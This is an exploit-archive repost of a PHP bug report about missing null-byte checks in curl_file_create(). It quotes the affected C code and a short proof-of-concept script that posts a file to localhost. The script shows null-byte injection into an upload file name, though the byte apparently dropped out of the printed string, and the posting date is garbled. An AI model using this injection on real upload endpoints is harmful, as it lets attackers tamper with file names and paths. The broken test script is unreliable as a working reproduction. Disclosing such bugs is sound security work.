Home / exploitsPDF  

PHP 7.1.0/5.6.29 missing null byte checks for paths in curl_file_create

Posted on 30 November -0001

<HTML><HEAD><TITLE>PHP 7.1.0/5.6.29 missing null byte checks for paths in curl_file_create()</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Description:
------------
Missing null byte checks for paths in curlfile_ctor()
curl_file_create() doesn't ensure that pathnames lack NULL byte, which might allow attacker to manipulate the upload file name and path.

Affected code:
==================================
static void curlfile_ctor(INTERNAL_FUNCTION_PARAMETERS)
{
    char *fname = NULL, *mime = NULL, *postname = NULL;
    size_t fname_len, mime_len, postname_len;
    zval *cf = return_value;
 
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s|ss", &fname, &fname_len, &mime, &mime_len, &postname, &postname_len) == FAILURE) { ⇐====
        return;
    }
==================================


Affected function:
==================================
CURLFile curl_file_create ( string $filename [, string $mimetype [, string $postname ]] )
==================================

type of parameters filename to change. From a security perspective, You may consider changing the type of parameter postname

Test script:
---------------
<?php

$request = curl_init('http://127.0.0.1/print.php');

curl_setopt($request, CURLOPT_POST, true);

$args['file'] = curl_file_create("./test.test.file.to.send.png", "image/png", "test.test.file.to.send.png");
curl_setopt($request, CURLOPT_POSTFIELDS, $args);

echo curl_exec($request);
curl_close($request);


Expected result:
----------------
warning

Actual result:
--------------
uploaded test.test and name

Array
(
    [file] => Array
        (
            [name] => test.test


Credit: Maksymilian from CXSECURITY.COM
</BODY></HTML>

 

TOP

Malware :

Exploits :